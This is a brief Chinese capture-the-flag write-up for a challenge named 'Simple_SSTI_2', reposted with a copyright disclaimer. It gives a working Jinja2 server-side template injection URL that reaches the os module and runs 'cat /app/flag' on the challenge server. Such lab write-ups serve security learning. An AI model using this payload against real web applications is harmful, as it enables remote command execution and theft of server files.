先用简单的语句测试下，可以返回运算结果
再执行系统命令find找到flag文件后，直接cat
http://114.67.246.176:13466/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}
Simple_SSTI_2
免责声明！
本站转载的文章为个人学习借鉴使用，本站对版权不负任何法律责任。如果侵犯了您的隐私权益，请联系本站邮箱yoyou2525@163.com删除。